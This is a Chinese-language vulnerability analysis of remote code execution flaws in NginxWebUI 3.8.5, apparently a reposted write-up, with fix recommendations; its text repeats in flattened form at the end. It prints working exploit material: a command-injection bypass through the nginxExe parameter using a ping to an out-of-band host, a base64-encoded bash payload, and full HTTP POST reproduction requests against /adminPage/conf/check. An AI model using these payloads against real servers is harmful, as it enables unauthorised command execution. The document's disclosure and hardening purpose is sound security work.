记一次nginxWebUI3.8.5版本的RCE分析及修复建议
字数 1399 2025-08-06 00:52:37

NginxWebUI 3.8.5版本RCE漏洞分析与安全加固指南

漏洞概述

NginxWebUI是一款基于Java开发的Nginx图形化管理工具,在3.8.5版本中存在多处远程代码执行(RCE)漏洞。这些漏洞主要源于对用户输入的不当处理,特别是在nginxExe参数的控制上存在严重安全隐患。

历史漏洞分析

漏洞背景

在3.6.2版本后,NginxWebUI开始修复/adminPage/conf/runCmd接口的RCE漏洞,但修复不彻底,导致在3.8.5版本中仍然存在可利用的RCE漏洞。

防御机制分析

com.cym.controller.adminPage.ConfController#isAvailableCmd方法是主要的防御点,其逻辑如下:

  1. 通过switch语句检查命令是否符合预设的nginx操作命令:

    switch (cmd) {
        case "net start nginx":
        case "service nginx start":
        case "systemctl start nginx":
        case "net stop nginx":
        case "service nginx stop":
        case "systemctl stop nginx":
        case "taskkill /f /im nginx.exe":
        case "pkill nginx":
            return true;
        default:
            break;
    }
    
  2. 检查命令是否匹配nginx执行路径相关格式:

    if (cmd.equals(settingService.get("nginxExe") + " -s stop" + dir)) {
        return true;
    }
    if (cmd.equals(settingService.get("nginxExe") + " -c " + settingService.get("nginxPath") + dir)) {
        return true;
    }
    

漏洞利用方式

虽然ToolUtils.handlePath会过滤特殊字符,但攻击者可以通过控制nginxExecmd参数构造特定payload绕过限制:

  1. 设置nginxExenginxPath为恶意值:

    nginxExe=ping${IFS}jitmszgnmy.dgrh3.cn
    nginxPath=1
    
  2. 使最终执行的命令变为:

    ping${IFS}jitmszgnmy.dgrh3.cn -c 1
    
  3. 虽然无法执行复杂命令,但可以执行如ping等简单命令。

未修复的RCE漏洞分析

漏洞位置

com.cym.controller.adminPage.ConfController#check接口存在更严重的RCE漏洞。

漏洞细节

  1. nginxExe参数可控,当不为空时直接拼接至命令中执行:

    rs = RuntimeUtil.execForStr(nginxExe + " -v");
    
  2. 由于Java的RuntimeUtil.exec与shell执行方式不同,需要特殊构造payload:

    • 使用bash和base64编码绕过限制
    • 示例payload:
      bash+-c+{echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA==}|{base64,-d}|{bash,-i}
      
  3. 需要配合特定JSON参数才能触发:

    {
      "nginxPath": "",
      "nginxContent": "",
      "subContent": [],
      "subName": []
    }
    

技术原理

Java的RuntimeUtil.exec与shell执行的主要区别:

  1. RuntimeUtil.cmdSplit会以空格分隔命令
  2. ProcessBuilder.start将第一个参数作为命令,其余作为参数
  3. 导致shell中的特殊语法无法直接执行

安全加固方案

修复方案一:严格参数验证

  1. 对所有nginxExe参数应用ToolUtils.handlePath过滤

  2. 验证用户输入是否为有效文件路径:

    File file = new File(nginxExe);
    boolean isFile = file.isFile();
    if (!isFile) {
        return renderSuccess("not nginx filepath");
    }
    
  3. 验证文件是否为真正的nginx程序:

    rs = RuntimeUtil.execForStr(nginxExe + " -v");
    if (!rs.contains("nginx version")) {
        return renderSuccess("not nginx");
    }
    

修复方案二:替代方案建议

  1. 直接读取文件内容检查nginx特征(如"nginx version: nginx/x.x.x")
  2. 避免直接执行用户提供的命令
  3. 实现一键安装编译nginx功能,避免用户自定义路径

注意事项

  1. 即使修复后,如果服务器已被入侵上传恶意文件,仍可能通过其他方式执行
  2. 需要综合考虑业务需求和安全性的平衡
  3. /usr/sbin/reboot等系统命令要特别防范

漏洞复现步骤

历史漏洞复现

  1. 发送POST请求设置恶意参数:

    POST /adminPage/conf/saveCmd HTTP/1.1
    Host: target
    
    nginxExe=ping${IFS}example.com&nginxPath=1
    
  2. 触发命令执行,验证DNS请求或ICMP回显

未修复RCE复现

  1. 构造恶意请求:

    POST /adminPage/conf/check HTTP/1.1
    Host: target
    
    nginxPath=&nginxExe=bash+-c+{echo,<base64编码命令>}|{base64,-d}|{bash,-i}&nginxDir=&json={"nginxPath":"","nginxContent":"","subContent":[],"subName":[]}
    
  2. 观察命令执行结果

总结与建议

  1. 永远不要信任前端用户输入
  2. 最小权限原则,限制NginxWebUI的运行权限
  3. 考虑替代方案,如使用官方Nginx管理工具
  4. 定期审计代码,特别是涉及命令执行的部分
  5. 关注官方更新,及时应用安全补丁

通过以上措施,可以显著降低NginxWebUI的RCE风险,提高系统安全性。

NginxWebUI 3.8.5版本RCE漏洞分析与安全加固指南 漏洞概述 NginxWebUI是一款基于Java开发的Nginx图形化管理工具,在3.8.5版本中存在多处远程代码执行(RCE)漏洞。这些漏洞主要源于对用户输入的不当处理,特别是在nginxExe参数的控制上存在严重安全隐患。 历史漏洞分析 漏洞背景 在3.6.2版本后,NginxWebUI开始修复 /adminPage/conf/runCmd 接口的RCE漏洞,但修复不彻底,导致在3.8.5版本中仍然存在可利用的RCE漏洞。 防御机制分析 com.cym.controller.adminPage.ConfController#isAvailableCmd 方法是主要的防御点,其逻辑如下: 通过switch语句检查命令是否符合预设的nginx操作命令: 检查命令是否匹配nginx执行路径相关格式: 漏洞利用方式 虽然 ToolUtils.handlePath 会过滤特殊字符,但攻击者可以通过控制 nginxExe 和 cmd 参数构造特定payload绕过限制: 设置 nginxExe 和 nginxPath 为恶意值: 使最终执行的命令变为: 虽然无法执行复杂命令,但可以执行如ping等简单命令。 未修复的RCE漏洞分析 漏洞位置 com.cym.controller.adminPage.ConfController#check 接口存在更严重的RCE漏洞。 漏洞细节 nginxExe 参数可控,当不为空时直接拼接至命令中执行: 由于Java的 RuntimeUtil.exec 与shell执行方式不同,需要特殊构造payload: 使用bash和base64编码绕过限制 示例payload: 需要配合特定JSON参数才能触发: 技术原理 Java的 RuntimeUtil.exec 与shell执行的主要区别: RuntimeUtil.cmdSplit 会以空格分隔命令 ProcessBuilder.start 将第一个参数作为命令,其余作为参数 导致shell中的特殊语法无法直接执行 安全加固方案 修复方案一:严格参数验证 对所有 nginxExe 参数应用 ToolUtils.handlePath 过滤 验证用户输入是否为有效文件路径: 验证文件是否为真正的nginx程序: 修复方案二:替代方案建议 直接读取文件内容检查nginx特征(如"nginx version: nginx/x.x.x") 避免直接执行用户提供的命令 实现一键安装编译nginx功能,避免用户自定义路径 注意事项 即使修复后,如果服务器已被入侵上传恶意文件,仍可能通过其他方式执行 需要综合考虑业务需求和安全性的平衡 对 /usr/sbin/reboot 等系统命令要特别防范 漏洞复现步骤 历史漏洞复现 发送POST请求设置恶意参数: 触发命令执行,验证DNS请求或ICMP回显 未修复RCE复现 构造恶意请求: 观察命令执行结果 总结与建议 永远不要信任前端用户输入 最小权限原则,限制NginxWebUI的运行权限 考虑替代方案,如使用官方Nginx管理工具 定期审计代码,特别是涉及命令执行的部分 关注官方更新,及时应用安全补丁 通过以上措施,可以显著降低NginxWebUI的RCE风险,提高系统安全性。